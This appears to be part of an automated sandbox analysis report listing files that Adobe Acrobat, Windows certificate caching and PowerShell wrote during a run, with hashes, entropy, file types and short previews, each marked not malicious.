Preview:	2025/01/13-03:04:23.052 1c10 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/13-03:04:23.054 1c10 Recovering log #3.2025/01/13-03:04:23.055 1c10 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.076569683092106
Encrypted:	false
SSDEEP:	6:iOnVJWLlIq2PN72nKuAl9OmbzNMxIFUtdVJWL3hZmwzVJWLlUvzkwON72nKuAl9c:7VnvVaHAa8jFUtX8h/5UUvz5OaHAa84J
MD5:	F63046AF9AE7D71EC88A01D05C99755F
SHA1:	EB9DAFA0F4D283BCEC00CFDC93A08ACF98E62B14
SHA-256:	98FE6701A30E568B35D5E76D7AEECBF74CD10FE501E98F9665D90BB7B45D2E56
SHA-512:	121A95C8F5D3DB5861071CE21E64B3F3DA3ABF3A8C1464ADD2816E83EB472F6CEF27C6C4F84FD13C7659E555EE4FF9A61D6A62624CB1911CD53FA60B37C6454F
Malicious:	false
Preview:	2025/01/13-03:04:23.052 1c10 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/13-03:04:23.054 1c10 Recovering log #3.2025/01/13-03:04:23.055 1c10 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444695142136025
Encrypted:	false
SSDEEP:	384:ye6ci5t9iBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:mWs3OazzU89UTTgUL
MD5:	CFFE9666BC55F24B1DCA833E4D0AD2ED
SHA1:	F34CC3B7B4C2070ACDF0F425D608C77721227BBB
SHA-256:	133CEDE55069A4DE558152D3E8B1873416C05C1A75BFBEE1DB85055255EAF5D4
SHA-512:	24A9A98221DD46EF981BD3409DB4207CB13F3BFD6C896081BCE5947DF0C1717D105513207B4062D98DCBF4890631DC20A1CF22799DD9E30004FB8F126329C714
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.767505655144423
Encrypted:	false
SSDEEP:	48:7MqJioyV5ioypoy1C7oy16oy13KOioy1noy1AYoy1Wioy1oioykioyBoy1noy1Oz:7pJu5HuXjBixb9IVXEBodRBki
MD5:	1CBDBD32FC11555D475966BF4E8DA597
SHA1:	478F229EE1AF788CCCE934E5CCE61BB84C48DA3C
SHA-256:	DBC8AFE8FBC3CE8BC150FAFBB42728013BDD096CE77DDFBDC64C66D9A0B77CAA
SHA-512:	88AE0E2F8581BF205F1D69F8D5A65B5E422102983BBD5BE25B3BB6612BE9E10D66ADE06877383BC170208329A096BE90E3E859EC6A9001DF2C1F11726EC01019
Malicious:	false
Preview:	.... .c.......Z................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7105651307133916
Encrypted:	false
SSDEEP:	3:kkFkly7bkltfllXlE/HT8kJ/ltNNX8RolJuRdxLlGB9lQRYwpDdt:kKrXseT8kVNMa8RdWBwRd
MD5:	A80B340C0FABA6E457335D2BCF1833F1
SHA1:	D4E20B03FD0D47ADA688FBCD66530E8FF0DF2793
SHA-256:	B04B2C23A0F46086CEEA90EF92F964B3B1C7977554F52119E4ECB009C588F6AE
SHA-512:	A963121784E96B14E1840BA53CE3CD3D235D5DDA40FA0F1182E08F82B4FB2ADEFF044E8404CC53DA08295028B2AB1060D3DF6025C4734C8D708D4E521FD29D4D
Malicious:	false
Preview:	p...... .........c..e..(....................................................... ..........W....$...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2421047741749685
Encrypted:	false
SSDEEP:	6:kKqsL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:isiDImsLNkPlE99SNxAhUe/3
MD5:	075A25D274A2CA8DEA51E29EC8365CC9
SHA1:	15AE56B34EBD5783C8535FC3EB34215D41A6958A
SHA-256:	8D215E56857CFE7448799DE1FDF37C420B50B2B3BF960578B46717DFEE6D0379
SHA-512:	3D565EC7EF98D0CB724448088FC80EEE9E11DBAA42C7F831E9D42D08684FDB66019F9FC86DEE59DB57FD520FCA2795041F68C34F509E29DFED3D42E9C2271BB0
Malicious:	false
Preview:	p...... ........q#M.e..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6764

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6764

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2145
Entropy (8bit):	5.072633161492182
Encrypted:	false
SSDEEP:	48:Y4/pOrY21a4hbtC3dci5WXjJ0vS/PbMa7:6B0tWTJDnbMo
MD5:	F034096AC785B7FAF3FD6ABC6AFAA438
SHA1:	1BCF4168BDB15D48124BA938ADD6FD123D323DE4
SHA-256:	D9FF302E0CF0B40F84E8C8945AE377F5648B69972454BD7C451B4C9A0ACE5A2E
SHA-512:	5DD737717C0730B5D859030F9CBFA0543A366B3861868276A00B5940CF995B5468A037FA88879D16DA8A2A9144AAA11A316A5628B6A6C996E8A506C07EC9B291
Malicious:	false
Preview:	{"all":[{"id":"TESTING","info":{"dg":"DG","sid":"TESTING"},"mimeType":"file","size":4,"ts":1736755463000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"380dd703fc581680761b4186c45e2d38","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1696488387000},{"id":"DC_FirstMile_Right_Sec_Surface","info":{"dg":"35166e54b6efd9393ba2006ee9cc09b6","sid":"DC_FirstMile_Right_Sec_Surface"},"mimeType":"file","size":294,"ts":1696488385000},{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"f776fac6300c02bf0731dc513183b5e8","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":1250,"ts":1696488373000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"78cf3d8961acebfb4fcfb54de4ad804c","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1250,"ts":1696486847000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"4bd607a1e654cbca833e725de7ae4339","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1255,"ts":1696486847000},{"id":"DC_Reader_Edit_LHP_Banner"

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 24, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 24
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1455236967919011
Encrypted:	false
SSDEEP:	48:TFl2GL7msGwJYXc+XcGNFlRYIX2v3kTwJe:/Vms1JYXc+XckFPYIX23Je
MD5:	69559AF969082ABC6BB5312D758336FE
SHA1:	6599AF0E79C253D008E915050E52085654512D9F
SHA-256:	B61B442D16CF25CEC27266D1F2B8E4FAA9B1D3FECA83F19AEF82B33BBD8F99ED
SHA-512:	BA56C564DD8B948A4A382E744B752D291638DA2BE934315328EF3E9695759D9ABAF41F171917824CFA8648A045134827EA3FD11A368CCA0810B9C3B9CD323CC5
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.551620116228856
Encrypted:	false
SSDEEP:	48:7MQwJvXc+XcGNFlRYIX2vwfqVl2GL7ms6j:7sJvXc+XckFPYIX2YfaVmsQ
MD5:	943A93EC3615AED6F4813FBA8A3F0C43
SHA1:	A0D69EC0D4C3081340D8A384937E1479DAC91795
SHA-256:	B2699CEBD460B3F806A47E96BE9ABECF27A88938ED39F987CCDFBB9B2A428F57
SHA-512:	F0FD17C2EB0CE0186A4B7AEB563CF49D7CC8F4AC0B5F9995A02E5E766414E8C01605A1D1E844D64349C624A16AC8963B0073F4DC2C3846A56018341BC11814AD
Malicious:	false
Preview:	.... .c........;..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................b..b.b.b.b.b.b.b.b.b.b.b.b.b..................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgwDaRvhUuoP/3h//BF4GofudinYyu:6a6TZ44ADEwDa9hU733hN/gnK
MD5:	A75AFFAFD48A85768F2DA580584165C9
SHA1:	8FE5189F222B4C0EC9CC1769794F7998969BA8A8
SHA-256:	566A3DEACB1CDE22D23DC66E82E4B2178A63D1403D748B53B9481BAB5E057120
SHA-512:	CD4D074D5F93E581FDE4C6BB1BF1609F21ED554D0DFF50E4B9048FB12B439574628CA6054618F24026AC1413B6FC663B682553968BB7EF24F476DAC23A21381F
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulnmWllZ:NllUmWl
MD5:	3EBBEC2F920D055DAC842B4FF84448FA
SHA1:	52D2AD86C481FAED6187FC7E6655C5BD646CA663
SHA-256:	32441EEF46369E90F192889F3CC91721ECF615B0395CEC99996AB8CF06C59D09
SHA-512:	163F2BECB9695851B36E3F502FA812BFBF6B88E4DCEA330A03995282E2C848A7DE6B9FDBA740E3DF536AB65390FBE3CC5F41F91505603945C0C79676B48EE5C3
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI96429.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.513199765407527
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K84jCl+IwlYH:Qw946cPbiOxDlbYnuRKTjhFlYH
MD5:	2B2E5549561D33CA14BFD0B24016B52B
SHA1:	F9DEED785B7BE0989B56B70BB3C26B7387F0837E
SHA-256:	0CBAB62C347AFEE8C22FE5CC7AA2137517AB6EBF086F664CFE67830055BB1C28
